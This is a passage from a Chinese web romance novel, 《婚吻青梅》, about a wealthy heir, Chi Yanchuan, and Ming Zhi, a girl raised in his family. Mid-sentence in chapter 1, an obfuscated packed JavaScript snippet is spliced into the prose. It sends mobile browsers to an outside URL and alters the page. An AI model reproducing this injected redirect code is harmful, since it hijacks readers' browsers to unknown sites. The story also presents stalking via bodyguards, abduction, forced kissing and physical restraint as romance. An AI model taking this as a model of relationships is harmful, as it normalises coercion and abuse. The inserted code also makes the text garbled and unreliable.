《婚吻青梅》 1. 欲壑难填 硝烟弥漫的工厂外围,全副武装的部队将十余名男人团团围住。 为首穿一身花衬衫的男人已经被按倒在地,嘴里仍然叫骂不休。 阳光刺目,一道沉稳的脚步声由远及近,人群自动为他分开一条路。 阴影笼罩下来,花衬衫抬头。 面前是一个身形高大的年轻男人,黑衣黑裤,冷隽淡漠。 花衬衫神情一滞:“你……” 迟砚川摘下墨镜,扫过四周混乱战场,视线最终落回跪在地上的男人身上。 花衬衫带着挑衅的笑,操着一口蹩脚的中文开口:“你大哥就是我打伤的,你的国家对你有法律约束,你敢杀了我吗?” 一年前,泛海集团东南亚海外事业部遭遇持械抢劫。 时任海外部执行总裁的迟清淮身中枪伤,不得不紧急回国治疗。 迟砚川临危受命,从稳定人心到如今终于将幕后团伙一网擒尽。 “三少——” 四周响起惊呼。 下一秒,漆黑的枪口抵上花衬衫的额头。 “你……你不敢开枪的……” “是吗。” 迟砚川唇角微扬,他毫不犹豫拉开保险,上膛,黑洞再次抵上花衬衫的眉心。 时间仿佛在这一瞬凝固。 四周一片死寂,唯有花衬衫越来越急促的呼吸声,胸腔剧烈起伏。 “不……不不不……” 风掠过,花衬衫的皮肤泛起了厚厚一层战栗,脸色渐渐发白。 他意识到眼前这个年轻男人眼中的冷漠与狠厉都是真的。 尤其他握枪的那只手,手腕上方盘踞着一片凶戾的蟒蛇纹身,那条蛇仿佛下一秒就会活过来,然后张开血盆大口狠狠咬断他的喉咙。 “放过我……我不想死!!” 他声音嘶哑,带着绝望哀求。 迟砚川无动于衷,扣下扳机。 “滋——” 一道冰冷的水流顺着对方的额头滑落下来,瞬间湿透了整张脸庞。 花衬衫在剧烈的恐惧中哆哆嗦嗦着睁开眼,对上那双居高临下,满是戏谑与讥诮的漆黑双眸。 “滋——” 迟砚川又开了一‘枪’ 一瞬间,羞辱,愤恨,绝望,各种情绪涌上心头,花衬衫歇斯底里地爆发出了一连串的东南亚语叫骂声。 很快,这群持械抢劫犯被一一铐住压上了装甲车。 警司局长与行动指挥官走上前与迟砚川握手。 他们郑重表示会坚决拥护华商在本地区的合法权益,全力支持华商的投资发展,并承诺今后将加大警司力度,确保每一位华人工作者的人身安全。 两个小时后,工厂外围重归平静。 迟砚川从办公室内配备的休息室里走出来,他黑发微湿,浴袍松垮,袖口随意推到手肘,露出线条紧实的小臂。 迟砚川走到落地窗前,一手握着一杯琥珀色威士忌,另一只手漫不经心地滑动手机屏幕。 置顶的聊天框依旧沉默。 对方给他回复过来的最后一条消息已经是五天前。 他打过去的电话无人接听,后来再打,变成提示对方在忙。 ——他被拉黑了。 迟砚川喝了口酒,薄唇微抿。 看来,还是他太惯着她。 在谁跟前都温顺得像只吃素的兔子,唯独在他这,一不高兴她能把天给踹翻了。 退出对话框,迟砚川点开保镖发来的新消息。 [明小姐早上八点前往校内图书馆,十点返回宿舍,十二点去食堂用餐……] 从早到晚,事无巨细。 连明枝在图书馆看了什么书,待了多久,中午在食堂点的是什么菜,都记录得一清二楚。 迟砚川指尖滑动,瞥见最后一条是:[迟家派车将明小姐接回岚城。] 这时,叩叩两声轻响传来。 何乐推门而入,瞥见随手被丢在桌上的黑色水枪,想起今天的荒诞戏码,何乐没忍住笑了声。 也就三少想得出那种损招,还能让所有人都配合他。 “三少。” 何乐收起笑走上前,语气恭谨:“顾总让我提醒您,明天是顾灼先生的婚宴,您看是否抽空打个电话聊表一句祝福?” 何乐口中的顾总,是迟砚川的母亲,顾臻。 顾家长女,迟正庭的太太,泛海集团副总裁,磐石资本创始人,岚城商界赫赫有名的女企业家。 而顾灼是迟砚川的表弟,也是明天婚礼的新郎官。 迟砚川转了转手机,难怪小姑娘会乖乖回去岚城,这一年多以来除了逢年过节,她可是能躲就躲能避就避。 生怕撞见他。 迟砚川进衣帽间将浴袍换下,穿戴整齐出来,捞起桌上手机便往外走。 “三少?”何乐一愣,连忙跟上。 迟砚川下了楼,径直朝车库方向走。 何乐小跑两步追上为他拉开车门。 迟砚川弯腰坐进后座,何乐紧跟着钻进副驾,安全带还没系上,就听迟砚川说:“我当面祝福他。” 何乐懂了,扭头吩咐:“去机场。” 司机点头应声,油门一踩。 午后,烈日高悬。 司机把车子停稳,回过头,见后座人已经睡着,只得低声叫醒:“明小姐,到了。” 明枝只是靠在椅背上小憩,听到声音便醒了,她抬手揉了揉眼睛,转头望向窗外。 坐落在宽阔草坪中央的巍峨建筑映入眼帘,白墙穹顶,雍容华贵,正是迟家位于知景园的别墅主宅。 花园栽种着罗汉松,海椰树,藤本月季,还有各种明枝叫不上来的昂贵花卉。 整片绿油油的草坪呈环形铺展,右侧还有一栋两层高的附楼,是安排给家政和园丁居住的。 别墅左侧除了停车坪,更外侧还有一个停机坪。 “辛苦了,林叔。” 自从明枝去淮城上大学,往返接送她的大部分是林叔。 “明小姐客气。” 林叔为她打开车门,抬手挡着上沿。 别墅玄关,一位年长妇人正在给鲜花换水,听见身后脚步声,她回过头。 “枝枝?!”妇人满脸欣喜。 “林姨。”明枝笑着走上前。 林叔和林姨是夫妻,林叔负责给迟家开车,林姨打理着迟家上下的日常起居。 明枝记得自己当年被迟正庭带回这座陌生大宅,吃的第一顿饭就是林姨做的。 那时候,林姨还只是厨房里的帮佣,手脚勤快,脾性温和。 十几年过去,她做事稳妥,深得顾臻信任,如今已升为管家,只需要统筹安排帮佣和园丁。 “怎么又瘦了?” “学校饭堂哪里比得了你的手艺。” “那这次回来多住几天,”林姨握着她手,“我多做几道你爱吃的菜。” 迟砚川这几个月一直待在国外。 只要他不在家,这个家就是安全的。 明枝对这个提议有些心动。 “枝枝。” 一道柔声从旋转楼梯方向传来。 明枝转过身,看见身着淡粉色裙装的女孩站在那,举手投足温婉从容。 “安遇姐。” 明枝下意识喊出,意识到什么又连忙改口:“大嫂!” 安家和迟家半年前达成联姻,安遇是大少爷迟清淮的妻子。 安遇微微一笑,“礼服我让人放到你房间里了,上来试试看合不合身。” 明枝点点头,走过去。 她到底也算是迟家的一份子,出席明天的婚礼自然不能失礼,礼服珠宝一样都不能缺。 别墅上下一共五层,明枝的房间在二楼走廊的最里侧,当年她被迟正庭带回来,他特意嘱咐佣人为她整理出来的房间。 朝南,采光最好,窗户外是花园,四季景色宜人。 除了她的卧房和书房,迟砚川的卧房书房,健身室和钢琴房也在这一层。 迟砚川的房间是明枝回自己房间的必经之路。 经过那扇紧闭的大门,明枝面色如常,手心却下意识微微收紧。 还好,迟砚川不在家。 不会有人从那扇门里突然出现把她拽进去,不会有人半夜推开她的房门,更不会在她准备入睡时,猝不及防收到信息: [宝宝,过来我房间睡。] 很快,明枝换好礼服从房间里走了出来。 一条浅杏色的缎面及踝裙,贴身却不过分紧绷,将她不盈一握的腰线与白皙的肩颈线勾勒得恰到好处。 “果然很适合你。”安遇说她当时第一眼看到这条裙子就想买给她。 安遇帮她理了理裙摆。 这时,楼梯传来一阵高跟鞋的清脆脚步声。 安遇转过身,双手交握在身前:“妈,您回来了。” 明枝乖巧垂眸:“臻姨。” 顾臻颔首,目光在明枝身上扫过,神色平淡却有着一种不怒自威的气场。 顾臻瞥见明枝空荡荡的脖子,“去把我那条新拍回来的黄钻项链拿过来。” 林姨点点头,转身去楼上取。 不一会儿,林姨捧着珠宝盒从四楼下来到二楼的小客厅里,将那条黄钻项链取出,为明枝戴上。 黄钻华彩彰显年轻,最适合明枝这个年纪的小姑娘佩戴。 顾臻上下审视,这才满意,“不错,就这样吧。” 接着她又看向安遇,“把你的礼服也换上看看。” “好。”安遇从沙发上起身,去换了自己的礼服出来。 “你的婚戒呢?” “我刚才做了个手膜,就摘下来了。” “嗯,明天出席婚礼记得要戴上。” “好的……”安遇轻声应下。 顾臻看了眼腕表,起身:“我要休息,午餐不用准备我的。” 林姨点点头,转身下去安排。 顾臻上楼回房。 明枝和安遇站在原地,彼此默默对望一眼,都不约而同地舒了口气。 在迟家,真正让人不敢大声说话的并非外界认为的一家之主迟正庭。 而是看似优雅从容,实则掌控全局的女主人顾臻。 * 上午十一点,宴厅内宾客云集,酒杯轻碰声与谈笑声此起彼伏。 顾家二老和迟家二老坐在主桌,到场的宾客无不先上前见礼。 顾臻带着安遇和明枝一同过去。 顾老太太面容慈祥,笑着握了握两人的手。 老太太问了问明枝在淮城的学业,更多的关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549465|186762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注点还是在安遇身上。 毕竟是新婚小夫妻,老人家自然尤为关注下一代的规划。 眼看安遇被问得脸颊泛红,手足无措的样子,明枝只能抛去一个爱莫能助的眼神。 趁着众人不注意,她悄然从外围退了出来。 宴厅很大,明枝正准备找个不起眼的地方坐坐,等婚礼开始。 一抬眼便看见不远处一位身形挺拔,面容清朗的男人正朝她这个方向走了过来。 明枝连忙站定,扬起一抹乖巧浅笑:“大哥。” 迟清淮一身剪裁考究的深灰色西装,鼻梁上架着一副银边眼镜,气质斯文温润。 迟清淮笑着:“跑得挺快。” 明枝不好意思地挠挠头,她用眼神示意前方:“嫂嫂正等你解救呢。” 迟清淮眸光微动:“我先过去。” 望着觥筹交错的宴厅,明枝抿了口酒,神色慢慢平静下来,渐渐地透出一丝不属于这里的疏离感。 钢琴声悠然响起,大厅水晶灯光绚烂变幻,新人的婚礼仪式正式开始了。 曾经出了名浪荡风流的顾家太子爷,此刻站在台上,眼神坚定而深情。 交换戒指,仪式结束,全场响起热烈的祝福掌声。 新人开始轮桌敬酒。 “表哥,表嫂,百年好合。” 这声表哥是当年顾灼在迟家见到明枝的第一面,顾臻让她喊的。 当时还被佣人们误认为是‘正牌太太终于接纳来历不明私生女’的一个信号。 这一桌坐的都是迟家的小辈,众人端着酒杯起身,朝着新人说祝福语,场面温馨。 这时,顾灼忽然侧身,用只有明枝一个人能听见的声音开口: “将来你和三哥结婚了,你是继续叫我老婆表嫂,还是她改口叫你三嫂?” 明枝端着的香槟酒杯猛地一顿,溅出了几滴液体在手背上。 她一脸见了鬼的表情扭头看向顾灼,“不会有这种事。” 果然就算结了婚,唯恐热闹看不够的第一人还是他顾大少爷。 随便一开口就能吓死个人。 “听说当年就因为表哥的一句话,表嫂直接甩了你出国两年,要不然这场婚礼早该办了,可见有些话还是不该随便乱说。” 明枝一脸乖巧道:“新婚快乐。” 顾灼:“……” 新人去下一桌敬酒,安遇见明枝的脸色忽然有些发白:“喝多了?” “没事,我去洗把脸。” 明枝被那句三嫂吓得不轻,干脆起身离席,朝着宴厅外花园的方向走了过去。 她急需一些新鲜空气来平复自己狂跳的小心脏。 这家酒店是法式风情,花园的布置虽然不如迟家花园的繁复精致,却也别有雅趣。 绿植错落,鲜花点缀其中。 然而刚转过回廊,明枝发觉后颈掠过来一丝凉意。 不等她回过头,一条劲实有力的手臂忽然伸了过来,大掌严严实实捂住了她的嘴巴,另一只手精准覆住了她的眼睛。 叫声和视线都被剥夺,恐惧感袭来。 “唔呜——!!” 明枝心头一紧,却只能从对方的指缝中发出短促的呜咽声。 很快,真丝质地的布料代替了对方的手掌,明枝的眼前依旧一片漆黑。 她只能凭借身体去感知。 自己先是被对方拦腰抱了起来,有酒店房间门被打开的声音,随后她被扔到了床上。 明枝浑身发麻,心脏狂跳。 正要开口呼救,嘴巴却再次被一股力量严丝合缝地堵住。 不是手掌,而是嘴唇。 薄而冷,霸道地闯入她的口腔,动作侵略,卷舔她脆弱的舌尖用力吮吸。 明枝被吻得缺氧,出于本能,她张口狠狠朝对方的舌头咬了过去。 而对方似乎早有预料,几乎同时扣住她的下巴,撬开她的牙关。 对方的吻开始放肆失控。 不知过了多久,明枝终于被松开,她大口喘着,却没有再挣扎,只是努力在调整自己的呼吸。 “呵,还是这么会咬。” 一记沉笑缓缓传来,那声音里带着愉悦,贴着她雪白的耳垂游走。 像终于品尝到琼浆玉液的蛇信,却是欲壑难填,远远不够。 绑着她眼睛的领带终于被解开了,明枝不适地眯了下眼睛。 很快,她适应了光线,也看清了眼前的人。 果不其然,除了迟砚川这个变态,不会有第二个人,敢在顾家这么隆重的婚宴上,光天化日之下将她拖进酒店房间,做这种事。 明枝仰躺在床榻上,衣裙凌乱不堪,双唇红肿湿润,长发如瀑散落,被吻激出的泪珠摇摇欲坠挂在睫毛上。 她的眼神可怜又倔强,像是一只被欺负惨了却仍然不肯低头的小兽。 一天前,迟砚川还身在枪林弹雨的暴戾环境中,而现在,眼前看到的是她。 温香软玉,梨花带泪。 剧烈的反差刺激下,男人身体里的血液开始沸腾翻涌,破坏欲与独占欲在这一刻攀至顶峰。 “知道我这几个月是怎么过来的吗?” 他重新跪膝俯身,吻去她挂在眼睫上的豆大泪珠:“把我手机录音里你的叫丨床声听了好几百遍,宝宝。” 2. 百依百顺 十岁那年,明枝正在教室里上课。 班主任突然红着眼眶敲门进来把她叫了出去,然后一把将她抱进了怀里。 “老师,我今天没跟李明泽打架。” 明枝眨着宝石葡萄似的大眼睛,用小手擦去老师的眼泪,“主任又批评你了吗?” 班主任摇摇头,将她抱得更紧。 很快,有许多人围了过来,大家边感慨边对明枝说‘好可怜’ 明枝懵懵的,爸爸明明说过大人是不会轻易掉眼泪的,他们这是怎么了? 后来,明枝知道了原因。 可她还是不明白,为什么爸爸妈妈只是出去过结婚周年的度假,却再也没有回来。 他们说好要给她带礼物,她考了满分的试卷还放在书包里等着给他们看。 为什么她再也没有爸爸妈妈了。 “枝枝,以后就跟着二婶住吧!” “还是来我家,枝枝,姑姥姥来照顾你!” “枝枝,还认得我吗,我是你四舅爷,可怜的孩子,来四舅爷家里吧!” 面对这一张张放大的陌生面孔,明枝立刻缩回班主任怀里,发抖的小手紧紧搂着她的脖子。 自从外公外婆和爷爷奶奶相继过世后,爸爸就带着她和妈妈从镇上搬到了县里。 这些人她一个都不认识,逢年过节也从来没见过。 为什么他们现在却表现得好像很关心她,很想照顾她的样子? 后来她才明白,那些人惦记的不是她,而是航司赔付的那笔钱。 那笔钱足以让二婶在县城买上新房,让姑姥姥的孙子读重点国际学校,让四舅爷凑齐儿子的彩礼。 好在,明枝有班主任的照拂,她把她接到了学校内的教师公寓暂住。 又有一天,班主任兴冲冲来到教室,把明枝带进了办公室。 “迟先生,她就是明枝。” 班主任对坐在对面沙发上的年轻男人夸明枝成绩拔尖,乖巧懂事,乐于助人。 明枝抬头看了眼班主任。 班上大半同学都喊明枝一声“姐” 轮到她们班进行包干区卫生打扫,偷懒耍滑的男生,扯女生辫子的男生。 她上去就是一通‘乐于助人’ 明枝是独生女,小康家庭没有经济压力,于程和明檀对女儿进行的是自由式教育。 明枝就像长在田野里的一年蓬,没有经过人工的刻意修剪,她不受任何规训长大,拥有无拘无束的生命力。 虽然明枝总和调皮捣蛋的男生们打架,但她成绩优异,嘴巴又甜,老师们对她是又气又爱。 可自从父母离世,明枝整个人都安静了下来,乖得不像话。 就连老师们都说:“最近怎么都不见明枝上升旗台做检讨了……” 听着满屋子老师们对她的夸奖,明枝默默垂下脑袋,盯着自己的手心掌纹。 “枝枝。” 穿着西装的年轻男人从沙发上起身,缓缓半蹲到她面前,目光温和地与她平视。 “还认得迟叔叔吗?” 明枝看着他,半晌,轻轻点头。 迟正庭承诺每月向班主任发送明枝的成长记录,向学校捐赠了一千万用于教学建设,并亲自致电教.育局对班主任和学校表达照顾明枝的谢意。 临别时,那位初入职场的年轻女教师眼眶泛红地抱着明枝,对她说:“枝枝,要开开心心地往前看。” 就这样,明枝跨越几千公里,来到了一线大都市岚城。 车窗玻璃映出那张稚嫩的小脸,她装满好奇却并不怯懦的眼神透出坚毅。 迟正庭望着她,温润含笑。 然而,当被带到那栋像城堡一样的大别墅,又迎面撞见从旋转楼梯缓步而下的少年时—— 明枝的目光凝住了。 她从来没见过那么好看的男孩子。 冷白肤色,淡粉薄唇,鼻梁高挺,一头黑褐色短发,穿着美式棒球服,双手随意插在裤兜。 然而,冷不丁对上那双深邃的眼睛,察觉自己被他的不善目光牢牢锁住的瞬间,明枝感到脊背一阵发凉。 她立刻躲到了迟正庭身后。 “枝枝,不用怕。” 迟正庭拍了拍她的肩膀,“这是我的儿子迟砚川,以后就是你的三哥。” 迟砚川瞥了眼那颗微微侧出一点又马上缩回去的毛茸脑袋。 “爸,这是你的私生女?” 迟正庭:“胡说八道!” 少年偏头:“果然,男人做错事的第一反应都是否认。” 迟正庭:“……” 这个逆子。 又陆续走下来两位少年。 迟正庭对明枝介绍,说他们分别是她的大哥和二哥。 紧接着,走进来一屋子衣着统一的阿姨叔叔们,他们恭敬有礼,齐声唤明枝: “明小姐。” 明枝被这种声势浩大的场面惊到,她抱着自己的小书包站在那儿,一脸茫然。 是明小姐,不是四小姐。 迟砚川双手抱胸,目光放在她身上少了敌意,多了探究和兴味。 刚到迟家的那一个月里,明枝每天按时吃饭,吃完就开始看书,写作业,然后回房间睡觉。 安静又乖巧。 顾臻见状,请了心理医生来家里。 想到家里只有三个男孩子,也许缺少同龄女孩的陪伴,又为她找来迟家的小辈们与她做伴。 “我妈妈给我买了香奈儿的包包。” “我妈妈也给我买了迪奥的包包!” 明枝不明白她们在说什么。 她想起了豆沙包,她和妈妈都爱吃爸爸亲手做的豆沙包。 微风吹过,树叶洒落一地,女孩纯白的裙摆无声飘荡。 “哭什么。”头顶一道清朗的少年嗓音忽然传来。 明枝抬起头,撞上一张放大版的俊朗面容,她下意识后退一步。 迟砚川走近,“问你呢,哭什么?” “我没哭……”明枝小声。 下一瞬,带着一丝凉意的手指迅速抚过她的脸颊。 “没哭,那这是什么?” 迟砚川捻着手指上的一片湿润。 “我不……唔——” 明枝刚要开口,嘴里就被塞进了一颗棒棒糖。 是草莓味的,没有任何色素香精,像是用一颗颗奶油草莓熬制出来的,新鲜香甜的滋味瞬间在舌尖蔓延开来。 明枝抬起眼皮悄悄看了眼迟砚川,然后暗暗吮了吮糖果。 渐渐地,她的脑海里对豆沙包的甜味记忆一点点被草莓糖覆盖。 当晚,岚城迎来今年首个台风夜。 然而明枝的家乡从来不刮台风,狂风呼啸,雷声轰鸣,宽敞的卧房里满是风吹玻璃窗的悚然声响,她的脸色越发惨白。 被子一掀,明枝赤着脚从房间里跑了出来,却在走廊撞上一堵坚实的肉墙。 “妈妈!”她呜咽着,双手抱紧对方。 “……不是。” “爸爸?”明枝满怀希望地仰起头。 “……” 迟砚川看着她,表情仿佛在说:你看我哪里像你爸。 然而对上她那张泪眼婆娑的脸,迟砚川什么都没说。 他抬手拍了拍她的后背,“怎么了?” 感受到他在安抚自己,明枝立刻重新抱紧他,把脸埋进他弯腰下来的肩膀里。 她哽咽道:“三哥,我害怕……” 这是明枝第一次叫他三哥。 走廊安静片刻。 迟砚川:“再叫一声。” 明枝慢慢抬头:“三哥?” 迟砚川找来了四盏夜灯,将房间里的四个角落都照亮,又让佣人送上来好几个陪床毛绒熊,放到她床边两侧,最后,一首悠扬催眠的钢琴曲盖过了狂风的呼啸声。 “还怕吗?” 明枝躺在枕头上,两手抓着被子看向他,摇了摇头。 那晚过后,明枝明显变得开朗起来。 从前,在这个宛如城堡,转个身都会迷路的房子里,她熟悉的人只有迟叔叔。 可是迟叔叔很忙,经常不在家,周围对她而言全是陌生面孔。 但从那晚开始。 只要明枝开口,迟砚川总会停下手上的事情,先回应她。 她溜进他的书房,交叠两个手掌垫着下巴靠在书桌边,眨眨眼:“三哥?” 迟砚川停笔抬头。 蹲到他击剑课结束回家,明枝从走廊探出脑袋:“三哥!” 迟砚川接电话动作一顿,抬手先揉她脑袋。 被迟砚川带出去顾灼组的聚会,明枝揉着困顿的眼睛抬头:“三哥……” 迟砚川牵过她手提前离场。 * 酒店套房里。 暧昧的气息正在疯狂发酵。 “三哥……”明枝拼命躲闪,然而嘴巴被堵住,她连话都说不完整。 “唔……别……” 以前叫三哥,迟砚川对她百依百顺。 现在这声三哥,只会助长对方的恶劣行径。 迟砚川叼住她雪白耳垂,感受到她一瞬间的颤抖。 他低笑,“喜欢我这么舔你?” 见她不答,他又吮了吮:“是这样吗,宝宝。” 明枝还是一声不吭,整个人被弄得晕头转向,失去力气。 迟砚川两手撑在床侧,看她微张开唇,看她渐渐调整呼吸。 “胆子不小,敢把我关黑名单。” “我没有……” “是吗,手机拿来我看看。” “……” 头顶传来冷笑:“怎么不 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明枝整个人软在他怀中,面上不动声色,心头却微微发沉。 这时,迟砚川的手机响了。 “三少,顾灼先生看到我了,他问你在哪。” “嗯。”迟砚川淡道,“衣服送过来。” “好的。” 何乐把迟砚川出席婚宴的西服送了过来,他去换的时候,明枝就坐在沙发上,捧着玻璃杯小口喝水。 她的嘴唇肿得很明显,任谁看了都能猜到经历过什么。 她只能多喝几口冰水,指望热胀冷缩有点作用。 迟砚川换好衣服走了出来,明枝瞥过去一眼。 迟砚川的身高接近一米九,宽肩长腿薄肌,完美的衣服架子比例。 他身上的衬衫熨烫过,干净整洁,西裤线更像是用尺量过般笔直。 再看一眼自己身上,明枝不乐意了:“迟砚川,我的裙子皱了!” 何乐上一次听到三少大名,是从明小姐口中,再上一次也是,上上次还是。 “我让人给你熨。” “我不想陌生人碰我的衣服。” 酒店员工的嘴也不知道严不严实,万一传出去什么可就完了。 何乐心想自己在明小姐心里总归不是陌生人,正要揽过这个差事—— 明枝:“三哥。” 迟砚川扣袖口的动作一顿,看向她。 明枝含了口冰水,轻轻点头。 迟砚川扯唇,大步走过去将她从沙发上托抱起来。 “你又要干嘛,”明枝不禁挣扎,“越弄越皱了!” “那不正好,你不就等着使唤我?” “你弄的不该你负责?” 迟砚川盯着她几秒,面露玩味:“难得从明小姐嘴里听到负责两个字。” 明枝:“……” “你先出去。”迟砚川看向何乐。 “好的好的。”何乐暗道自己早该闪人。 明枝换了浴袍坐在沙发上。 挂烫机散发出的徐徐白雾遮住了男人冷隽的面容,迟砚川拿着烫头的那只手上戴的腕表是两千万的百达翡丽。 裙子恢复如新,明枝换上。 迟砚川系好领带:“跟我一起进宴厅。” 明枝问他:“等会儿,你刚才那样把我弄进来,走廊摄像头会不会拍到?” 迟砚川瞧她:“你怕什么?” 怕热心市民为我报警把你抓走我来不及控制脸上的表情。 “这家酒店在舜科旗下。”迟砚川说。 舜科是顾灼的公司,迟砚川似乎也有股份占比在其中。 明枝这下放心了,房门一打开,趁迟砚川不注意她立刻往反方向跑开,简直溜得比兔子还快。 何乐傻眼:“这……” 迟砚川瞥着明枝的高跟鞋,皱眉。 到底没追上去,慌乱中人要是崴了脚回头又记他一笔。 “枝枝,你去哪了?” 安遇正找明枝呢,迎面就撞上她了。 明枝抬了抬自己的手机,“我在花园拍照,那边的风景挺好看的。” 安遇朝明枝手指的方向看了眼,没有起疑,“走吧,跟我进去,你三哥回来了。” “真的?”明枝适时表现出一丝惊讶。 安遇微笑:“真的,就知道你会这么高兴。” 明枝:“……” 那倒也没有。 宴厅里,迟砚川刚一露面身边便已经围了不少的人。 明枝巴不得他被包围,离自己远点。 然而迟砚川一看见她,便越过人群直接朝她这个方向走了过来。 3. 是大变态 迟砚川先看向安遇:“大嫂。” 安遇微笑:“三弟,你回来了。” “嗯。”迟砚川的目光自然转向垂着脑袋的小姑娘身上:“不叫人?” 明枝这才抬头,露出毫无破绽的一个笑容:“三哥,好久不见。” 迟砚川看着她。 这声干巴巴的三哥远没有她在他床上时叫得好听。 “三哥,你为什么只亲我的鼻子不亲我的嘴巴呀。” “三哥,为什么捂住我的眼睛……” “三哥,三哥,我也要亲你……” 然而下了床,她比谁翻脸都快,那双盈满水光的漂亮眼睛只剩欲,没了情。 “三哥,我昨晚喝多了,什么都不记得了。” 迟砚川没回应她,表情有些冷淡。 像是不满她没从一开始就规矩叫人,还需提醒。 明枝巴不得迟砚川在人前不给她任何好脸色,这样就没有人会怀疑他们在背地里都做过什么。 周围其他人见状也起了些嘀咕议论。 当年迟正庭忽然把一个小女孩带回迟家,外界有八成的声音都猜测她是迟正庭的私生女,又因为顾臻的缘故,才一直没能改姓。 后来还是因为明枝极少在公众场合露面,圈子里的一些饭局场合更是难见到,一直安安静静,乖巧听话。 久而久之那些关于她的揣测才随着时间淡了下去。 到了现在,明枝的真实身份也是岚城圈里的一个谜。 “砚川。”顾臻走了过来,看见小儿子,她向来冷静的脸上才会露出一丝难得的淡笑。 “跟我去见见你外公他们。” 顾臻没有问他怎么突然回来了,也没有问他在国外有没有受伤,处理得顺不顺利。 顾臻是相较过程更注重结果的人。 儿子已经站在她面前,代表他的事情都解决得差不多,便无需过问。 顾臻对三个儿子都一视同仁。 只要他们不做出格的事,不影响到迟顾两家的体面声誉,她便不会干涉他们的任何决定。 “嗯。”迟砚川颔首,跟着母亲穿过宴厅走向主桌,所到之处众人的目光皆落在他身上。 迟家三子,个个出众。 然而并非三个都是顾臻亲生。 大少迟清淮实际上是迟砚川的堂哥。 其父在他三岁因病去世,妻子再婚出国组建新家庭,迟清淮便被迟正庭夫妇收养,视为亲生。 二儿子迟景明和三儿子迟砚川才是顾臻亲生的。 二少迟景明无意经商,承袭了外婆顾老太太悬壶济世的衣钵。 这个月正和他的导师在外市医院进行学术交流,因而缺席了今天的婚礼。 泛海集团虽然是迟老爷子一手创立,但真正稳坐岚城行业龙头一把手的位置是在迟正庭掌权时期。 因而,外界公认的泛海集团太子爷以及未来的继承人并非大少迟清淮,而是三少迟砚川。 迟砚川年纪轻轻便眼光独到,大学时与顾灼创立投资公司,明星项目横跨医疗,芯片开发,新能源等多个热门领域,个人资产早已过亿。 若非近一年多他都在海外部平息危机,此刻早该坐镇泛海集团总部。 除了与生俱来的天赋,迟砚川还长了一张顶级的脸。 他的气质不像大少迟清淮的斯文温润,也不是二少迟景川的清朗柔和。 而是更加肖似军功赫赫,年轻时素有雷霆手段如今隐退依旧风骨傲然的顾老爷子。 迟砚川最得迟顾两家长辈偏爱,前头又有两位哥哥,生来站在金字塔尖还不够,塔尖下托举他的全都是对他满含期望的家人。 见过各位长辈,迟砚川和顾灼站在了一起,两个年轻男人并肩而立,不知交谈了什么。 当他们的目光同时穿过人群扫向明枝时,她心头一跳,立刻别过脸。 那两个男人光是站在一起就有种世界下一刻就要被他们掀翻的感觉。 都不是什么好东西。 顾灼似笑非笑:“三哥,你果然喜欢挑战高难度的东西。” 迟砚川睨他:“你老婆才是东西。” 顾灼:“……我是那意思吗。” “等等——才是?” 顾灼扭头:“三哥,弟弟我可是帮你问过了,人没那个意思,她避你都来不及。” 迟砚川扯唇淡笑,神情不变:“她没那意思,我有就行。” * 明枝坐立不安。 她可是先打听到迟砚川人在国外,不会回来参加婚礼,这才从学校赶回来的。 明枝抿了口酒,已经打定主意等婚礼结束就找个借口回淮城。 正这么想着,安遇坐回她身旁:“外婆说三弟难得回来,让我们一起去老宅吃顿晚饭。” 明枝失去笑容:“……” * 青瓦白墙的四合院老宅安静坐落在西郊山下,这里远离闹市,幽静宜人。 即便是一顿简单的家常晚饭,饭厅依旧摆了三桌,座无虚席。 饭桌上,众人的话题离不开新婚的顾灼夫妇,而迟砚川自然是另一个焦点。 “顾灼已经成家,砚川也不小了。” 但无论众人如何旁敲侧击,迟砚川的神色始终透着冷淡。 不显山不露水,让人难以捉摸。 其余两桌各怀心思的人见状也只得暂且按捺下来。 明枝是饭桌上最不起眼的。 她默默吃着饭,有些噎,放下筷子伸手就要去拿饮料,然而另一只手却先她一步抄起了杯子。 “……” 明枝看着桌上的另一个杯子。 两个杯子是上下摆放而并非左右,杯子里装的也都是同样的鲜榨果汁。 迟砚川的薄唇贴上杯壁,那个位置甚至还有明枝的嘴唇留下的浅浅印子。 男人喉结滑动,把她喝过的饮料喝进去了大半。 明枝暗暗握紧手心,在心里把迟砚川骂了一轮,面上却不敢表露出什么。 饭后,众人移步茶室闲谈,也有部分人陆续告辞离席。 趁着车辆同时发动的嘈杂,明枝从廊下出来,远远便看见了林叔时常接送她的车辆停在那里。 夜色中的庭院格外清幽。 明枝健步如飞,打开车门就要进去,抬眼的瞬间,她一惊。 来不及反应,明枝的手腕被对方牢牢攥住,腰间也伸过来一条手臂将她半抱半拽着拖进了车里。 车门被严丝合缝关上,隔绝一切声音。 “迟砚川——” 明枝大叫挣扎着,迟砚川不为所动,熟练分开她的双膝把人圈进怀里。 “宝宝,再叫大声点,让所有人都听见你在跟谁车丨震。” 明枝气急,胡乱抬手却只打到迟砚川的下巴,啪的一声脆响,来不及打第二下,她的双手被他反剪到了身后。 他另一只手扣住她后颈深吻下来。 “唔——”明枝被迫迎送,然而落到他手里再多挣扎也是徒劳。 明枝气喘吁吁,渐渐收了力气,任他随心所欲。 迟砚川松开了她,有一下没一下啄她红肿诱人的唇,“这么乖?” 明枝把头扭开,一点都不想理他。 这里是顾家老宅,就算迟砚川在她心里的确是个大变态,他也不会真的在这里跟她玩车丨震。 礼服裙摆堆叠,细嫩的大腿被他的西裤磨蹭着,明枝蹙眉扭动:“不舒服,让我下去。” “你不就最喜欢坐着我。” 迟砚川拢着她臀的掌心微微收紧,骨节分明的手指陷入软肉里。 “哦,是只喜欢,我脸上。” “你——” 明枝脸腾得一热,转头瞥向车内升起的隔音板。 迟砚川勾起唇,吻她逐渐烧红的脸颊:“放心,没人听得见。” “除了我,谁都不许听。” 明枝气急,猛地一口咬上他的肩头,趁他吃痛闷哼时迅速挣脱开来。 